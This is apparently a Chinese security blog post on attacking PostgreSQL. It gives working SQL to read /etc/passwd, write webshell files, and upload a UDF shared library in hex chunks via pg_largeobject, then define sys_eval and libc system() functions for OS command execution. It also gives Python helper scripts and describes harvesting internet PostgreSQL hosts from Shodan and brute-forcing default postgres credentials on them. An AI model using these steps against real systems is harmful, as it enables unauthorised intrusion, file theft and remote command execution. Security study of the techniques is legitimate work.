专栏名称: 信安之路
只分享干货,不扯蛋不蹭热点,共同学习共同成长,一起踏上信息安全之路!
目录
相关文章推荐
投行wen言wen  ·  中证协:投行函证数字化服务平台业务上线通知 ·  19 小时前  
投行wen言wen  ·  中证协:投行函证数字化服务平台业务上线通知 ·  19 小时前  
青岛新闻网  ·  突发!某知名车企官网无法访问 ·  2 天前  
青岛新闻网  ·  突发!某知名车企官网无法访问 ·  2 天前  
网信上海  ·  清朗浦江丨@上海网友“清朗空间 ... ·  5 天前  
51好读  ›  专栏  ›  信安之路

针对 PostgreSQL 数据库的攻击研究

信安之路  · 公众号  · 互联网安全  · 2025-01-06 09:37

正文

PostgreSQL 是开源的对象-关系数据库数据库管理系统,在类似 BSD 许可与 MIT 许可的 PostgreSQL 许可下发行。 

1、本地安装部署 PostgreSQL

测试服务为 centos,参考文档:https://www.postgresql.org/download/linux/redhat/,选择对应版本,安装命令(测试环境以 12 版本为例):

sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-9-x86_64/pgdg-redhat-repo-latest.noarch.rpmsudo dnf -qy module disable postgresqlsudo dnf install -y postgresql12-serversudo /usr/pgsql-12/bin/postgresql-12-setup initdbsudo systemctl enable postgresql-12sudo systemctl start postgresql-12

数据库安装好之后,需要修改数据库的密码才可以远程登录数据库:

service postgresql start  #启动服务su postgres         #切换到数据库用户下psql  postgres        #进入数据库alter user postgres with password 'postgres';   #修改数据库的密码为:postgres

默认情况下,是无法远程连接的,需要进行进一步的配置,修改 /var/lib/pgsql/12/data/目录下的 pg_hba.conf,添加来源 IP 的允许范围,如图:

然后修改 postgresql.conf 的 listen_addresses 的值为 *,如图:

然后重启服务:

systemctl restart postgresql-12

到这里就可以通过远程连接数据库,从配置上说,外网开放的数据库,因为需要配置,并非默认可以访问,所以即使存在弱口令,也不一定可以连接。

2、利用 PostgreSQL 特性读写文件

读取系统文件:

方法一 直接读取:

select pg_read_file('/etc/passwd', 0, 200);

方法二 间接读取:

CREATE TABLE pwn(t TEXT);COPY pwn FROM '/etc/passwd';SELECT * FROM pwn;DROP table pwn;

写文件

当我们知道 web 目录真实路径时,可以使用这个方法写 webshell。

方法一:

CREATE TABLE pwn (t TEXT);INSERT INTO pwn(t) VALUES ('');SELECT * FROM pwn;COPY pwn(t) TO '/tmp/cmd.php';DROP TABLE pwn;

方法二:

COPY (select '') to '/tmp/1.php';

3、利用 PostgreSQL 特性执行系统命令

执行系统命令需要用到udf库,下面测试一下。查询 postgresql 的数据库版本:

select version();

第一步:根据数据库版本,获取 udf 二进制文件,在 sqlmap 的 data 目录下有对应的库文件:

找适合目标版本的库文件,使用 sqlmap 的解码工具解码:

python extra\cloak\cloak.py -d -i data\udf\postgresql\linux\64\12\lib_postgresqludf_sys.so_

第二步:上传获取到的 lib_postgresqludf_sys.so 上传到服务器,将库文件转为 hex,转换小脚本如下:

#~/usr/bin/env python2.7#-*- coding: utf-8 -*-
import sys

if __name__=="__main__": if len(sys.argv) != 2: print "Usage: python " + sys.argv[0] + " inputfile" sys.exit() fileobj = open(sys.argv[1], 'rb') for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) fileobj.close()

将以上代码保存为 bin2hex.py,然后使用如下命令转换:

python bin2hex.py lib_postgresqludf_sys.so

上传,将上面得到的 hex 值传入下面的语句中执行:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));SELECT lo_export(19074, '/tmp/test.so');

直接将所有内容全部写入可能会报错,我这里没有报错,但是在导出的时候报错了,如图:

接下来尝试另外一种,我们可以把数据分段,稍微修改一下代码,如下:

#~/usr/bin/env python2.7#-*- coding: utf-8 -*-
import sys

if __name__=="__main__": if len(sys.argv) != 2: print "Usage: python " + sys.argv[0] + " inputfile" sys.exit() fileobj = open(sys.argv[1], 'rb') i = 0 num = 0 sys.stdout.write("INSERT INTO pg_largeobject VALUES (12345, 0, decode('") for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 == 0: num = num + 1 sys.stdout.write(r"', 'hex'));\nINSERT INTO pg_largeobject VALUES (12345, "+str(num)+", decode('") print "', 'hex'));" fileobj.close()

这样分成多个段进行写入,就可以成功写入,使用如下命令:

SELECT lo_create(12345);INSERT INTO pg_largeobject VALUES (12345, 0, decode('hex01', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 1, decode('hex02', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 2, decode('hex03', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 3, decode('hex04', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 4, decode('hex05', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 5, decode('hex06', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 6, decode('hex07', 'hex'));SELECT lo_export(12345, '/tmp/test.so');SELECT lo_unlink(12345);

成功执行后,创建 Postgresql 功能

CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;    # 无回显
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; # 可回显

然后执行系统命令:

select sys_eval('whoami');

如果是低版本,也就是版本低于 8.2 以下,直接调用 lib/libc.so.6 或者是 /lib64/libc.so.6 就可以执行命令了:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;

执行命令方式:

select system('id');

4、外网环境下收集目标并检测和利用

第一步:使用 shadon 去收集 postgresql 目标

搜索下载的命令:

shodan download --limit 1000000 postgresql.txt product:"PostgreSQL"

第二步:使用弱口令扫描器扫描

我用的还是 PortBruteWin,命令如下:

PortBruteWin.exe -f postgreip.txt -u user.txt -p pass.txt

为了提升速度和准确度,只扫描账号密码均为 postgres 的目。

第三步:针对存在弱口令的目标进行测试

使用 psql 客户端连接目标,先查询目标版本信息:

select version();

尝试了多个目标均报错,无法执行命令,可能是因为,配置是对于来源 IP 不可信,无法进一步操作。这个数据库在内网可能成为一个不错的突破口。

信安之路文库未来一年将收录整理 vulnhub 全量靶机攻略,当前进度(283/700),扫码订阅